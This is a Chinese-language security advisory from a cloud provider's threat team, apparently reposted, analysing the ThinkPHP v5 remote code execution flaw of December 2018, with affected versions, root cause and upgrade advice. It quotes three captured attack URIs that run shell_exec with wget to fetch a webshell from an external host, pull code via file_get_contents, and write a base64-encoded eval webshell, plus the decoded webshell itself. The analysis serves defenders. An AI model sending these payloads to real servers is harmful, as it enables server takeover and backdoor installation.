ThinkPHP v5 新漏洞攻击案例首曝光,阿里云已可告警并拦截

2018年12月10日,ThinkPHP v5系列发布安全更新,修复了一处可导致远程代码执行的严重漏洞。阿里云态势感知已捕获多起基于该漏洞的真实攻击,并对该漏洞原理以及漏洞利用方式进行分析。现在,对于云上未及时进行系统更新的用户,阿里云态势感知已提供攻击告警,WAF产品支持同步拦截,目前云上客户基本未受到影响。

此次漏洞由ThinkPHP v5框架代码问题引起,其覆盖面广,且可直接远程执行任何代码和命令。电子商务行业、金融服务行业、互联网游戏行业等网站使用该ThinkPHP框架比较多,需要格外关注。阿里云是仅有少数的捕获到该漏洞整个攻击链的云服务商。下面我们对其漏洞背景,攻击原理和行为进行全面分析,并提供真实案列分析。

漏洞分析

由于ThinkPHP v5框架对控制器名没有进行足够的安全检测,导致在没有开启强制路由的情况下,黑客构造特定的请求,可直接进行远程的代码执行,进而获得服务器权限。

漏洞影响的版本

ThinkPHP v5.0系列 < 5.0.23

ThinkPHP v5.1系列 < 5.1.31

漏洞原理分析

通过对比ThinkPHP官方发布的漏洞修复说明,直接分析thinkphp解析路由调度的代码 /thinkphp/library/think/Route.php

parseUrlPath函数调用path函数并解析了pathinfo中的路由信息,函数中url直接用/切分,没有加任何过滤机制。

搜索pathinfo发现 //thinkphp/library/think/Request.php 定义了获取URL的pathionfo函数

我们可以利用$_GET可控的值来进行命令注入。var_pathinfo的参数为s,所以可以直接构造命令注入的函数。

继续分析路由调度的代码app.php,通过‘controller‘ 来执行控制器操作,实例化控制器,跟进controller方法

//thinkphp/library/think/Loader.php中,controller调用parseModuleAndClass方法,直接解析[Math Processing Error]name,实例化class,当[Math Processing Error]name匹配反斜线时直接将其作为方法和类strpos(name, ‘\‘) ,我们可以在这里构造实例化我们想要调用的方法。实例化namespaceclass类并执行call_user_func_array方法。


漏洞复现:

我们拿存在ThinkPHP v5远程代码执行漏洞的5.0.22版本进行复现测试。下图是我们在存在该漏洞的主机上执行ls命令,可以拿到目录下的所有文件详情。

漏洞攻击真实案例

截至2018年12月11日,阿里云态势感知监控到的数据显示,黑客们利用该漏洞进行攻击的方式有很多,目前主要是以webshell为主,可能由于曝光PoC时间太短,很多黑产(如挖矿)都还没充分利用。对目前所有的webshell方式总结后,比较流行的有以下几种:

1. 利用该漏洞远程执行下载命令,通过wget远程下载一个webshell后门,执行命令从而获得服务器权限。

其攻击URI详情如下:

"/admin.php?s=admin/thinkapp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=wget+-O+help.php+http%3a%2f%2ftzrj.host.smartgslb.com%2fhelp.php.txt "

通过执行wget命令:wget -O help.php http://tzrj.host.smartgslb.com/help.php.txt,下载webshell。

下面是该webshell所具有的功能列表,如下图:

2. 利用file_get_contents和file_put_contents函数,远程下载webshell。

其攻击的URI详情如下:

"/?s=admin/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=file_put_contents(‘content.php‘,file_get_contents(‘http://jzy1115.host3v.vip‘));"

该webshell所具备的功能详细如下图:

3. 利用file_put_contents函数 写入一句话webshell,其攻击的URI详情如下:

"/admin.php?s=admin/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=file_put_contents(‘./vendor/autoclass.php‘,base64_decode(‘PD9waHAgJHBhc3M9JF9QT1NUWyczNjB2ZXJ5J107ZXZhbCgkcGFzcyk7Pz4=‘))"

该命令行包含的base64加密字符串解码如下:

"<?php [Math Processing Error]pass=_POST[‘360very‘];eval($pass);?>"

该恶意代码将被写入到文件./vendor/autoclass.php中。

漏洞影响和攻击趋势

通过对网站信息数据的统计,我们发现存在该漏洞的的网站占比约10%左右。而从阿里云态势感知监控到的数据显示,从2018-12-04开始至2018-12-11,被攻击的网站数据暴增。以我们和漏洞利用攻击对抗的经验来看,该漏洞的利用攻击会出现更多变种,各个企业应尽快升级ThinkPHP的代码框架至最新版本,避免自己的网站被攻破,服务器沦陷为肉鸡。

下面是被攻击网站数量变化趋势,可看出该漏洞被曝光后迅速被大规模自动化利用。

安全建议

阿里云安全专家提醒:ThinkPHP的v5.0.23和v5.1.31为安全版本,建议大家尽快升级框架至最新版本来修复此漏洞。对于未及时升级的用户请及时使用阿里云态势感知和WAF来抵御攻击,确保企业正常业务运行。

漏洞详情:https://blog.thinkphp.cn/869075

原文地址:https://www.cnblogs.com/zhaowei121/p/10173824.html

时间: 2024-10-11 19:52:35

ThinkPHP v5 新漏洞攻击案例首曝光,阿里云已可告警并拦截的相关文章

预警| Confluence 高危漏洞被大规模利用,阿里云WAF接入即可防护,支持免费应急服务

2019年4月4日,阿里云安全应急响应中心监测到Confluence 官方发布安全更新指出,Widget Connector 存在服务端模板注入漏洞,攻击者能利用此漏洞实现目录穿越遍历甚至远程命令执行.4月10日远程命令执行PoC被公开,阿里云监测到此漏洞被大规模利用,4月12日凌晨攻击流量达到第二次高峰. 4月6日出现第一次大规模攻击,全天攻击次数超过5000次,阿里云WAF默认规则均成功防御.攻击特征为任意文件读取,攻击者通过构造特定请求读取本地敏感文件信息. 直到4月7日,第一波攻击结束,

云计算之路-阿里云上:攻击的受害者,阿里云的罪人

今天下午13:39-13:44开始,我们遭受了更大规模的攻击,4台负载均衡因被攻击被阿里云云盾屏蔽.在成为流量攻击受害者的同时,也成为阿里云的罪人,因影响阿里云网络稳定性的罪名被关入阿里云的大牢——云盾黑洞. 受这次被攻击被屏蔽影响的站点有:www.cnblogs.com ,ing.cnblogs.com ,home.cnblogs.com ,job.cnblogs.com ,kb.cnblogs.com ,由此给您带来很大的麻烦,请您谅解. 当收到阿里云云盾屏蔽的通知时,我们惊呆了: 您的IP

阿里云升级人工智能战略,用大数据AI备战新七年大考

"拥有了数据的积累,机器将替代人类的智商,我们判断人工智能的时代已经到来."这是阿里云总裁胡晓明在2016年8月10日举办的阿里云栖大会·北京峰会上对外表达的观点,他说:"我们认为人类一定会进入数据时代,我们认为人类一定会进入到人工智能的时代." 2016年,阿里云正在跨越七年之痒.2009年2月,飞天正式写下第一行代码,由此拉开了阿里云的历史.七年后,德意志银行2016年4月的研究报告指出,在中国云计算市场,阿里的云计算业务规模是第二名腾讯的10倍.阿里云进入全球

新网域名转移到阿里云万网教程

新网域名如何转移到阿里云万网?分享新网域名转移到阿里云万网教程. [阿里云最新优惠幸运券]免费领取,100中奖,可以的阿里云产品代金券:点我领取阿里云幸运券 一:首先在新网上操作,目的是获取域名转移密码1.打开新网 http://www.xinnet.com/2.域名管理 http://www.xinnet.com/views/uc/html/myprd/domain/domain_default.html3.在该域名商点击查看,如下图所示:4.点击查看后,在域名信息中,你会看到"获取域名转移密

.xyz域名总量TOP10:新网负增长 阿里云跌至第六

IDC评述网(idcps.com)10月29日报道:根据ntldstats.com发布的最新数据显示,截止至2015年10月28日17时,在国内外.xyz域名总量十强榜单上,中国依旧占据4个席位,分别是新网.西部数码.阿里云(万网).时代互联.其中,仅新网.xyz域名总量出现下降,环比上期10月15日净减19,065个,市场份额缩小2.36%.另外,阿里云(万网)被Hostinger, UAB取代,排名从第5滑至第6.下面,请看IDC评述网对相关数据进行详细分析. (图)国内外域名服务商.xyz

XP停服后首个IE 0day漏洞攻击样本曝光 360国内独家可检出

图注:VirusTotal网站截图 中国经济网北京5月1日讯 5月1日消息,上周六微软通报了XP停服后首个IE 0day漏洞,近日针对该漏洞的攻击样本又被国内安全论坛和在线杀毒扫描平台VirusTotal曝出,根据在线杀毒扫描平台VirusTotal 检测结果显示,截至2014年5月1日晚10点,全球仅有5家杀毒软件厂商可以检出该攻击样本,而360是其中唯一一家来自中国的杀毒软件厂商 VirusTotal检测结果显示,在52家全球杀毒软件产品中,目前仅有AntiVir(小红伞).卡巴斯基.微软(

基于Armitage的MSF自动化漏洞攻击实践

基于Armitage的MSF自动化漏洞攻击实践 目录 实践环境 预备知识 Armitage基础配置 ms08_067_netapi:自动化漏洞溢出攻击实践 ms14_064_ole_code_execution:IE漏洞自动化攻击实践 ms17_010_eternalblue:"永恒之蓝"自动化攻击实践 office_ms17_11882:Office漏洞自动化攻击实践 John the Ripper_linux口令破解模块:Armitage下Auxiliary辅助模块应用 实践中遇到

ThinkPHP V5.0 正式版发布

ThinkPHP5.0 正式版的发布,是团队中秋节送给PHP开发者最好的礼物!祝大家中秋快乐,事业顺利,用ThinkPHP开发更健康^_^ ThinkPHP5.0版本是一个颠覆和重构版本,官方团队历时十月,倾注了大量的时间和精力,采用全新的架构思想,引入了更多的PHP新特性,优化了核心,减少了依赖,实现了真正的惰性加载,支持composer,并针对API开发做了大量的优化,包括路由.日志.异常.模型.数据库.模板引擎和验证等模块都已经重构(基础教程qkxue.net),不适合原有3.2项目的升级

CentOS6.x服务器OpenSSH平滑7.3p版本——拒绝服务器漏洞攻击

对于新安装的Linux服务器,默认OpenSSH及OpenSSL都不是最新的,需要进行升级以拒绝服务器漏洞攻击.本次介绍的是升级生产环境下CentOS6.x系列服务器平滑升级OpenSSL及OpenSSH的方法. 一.服务器漏洞说明 二.环境描述 1)操作系统:CentOS 6.x系列 64位 2)修补前后 使用源码安装的方式 3)连接工具SecureCrt.XShell 三.升级 最好先多开几个root登录的shell窗口万一升级失败可以回退回来,或者安装dropbear只是为了在升级失败ss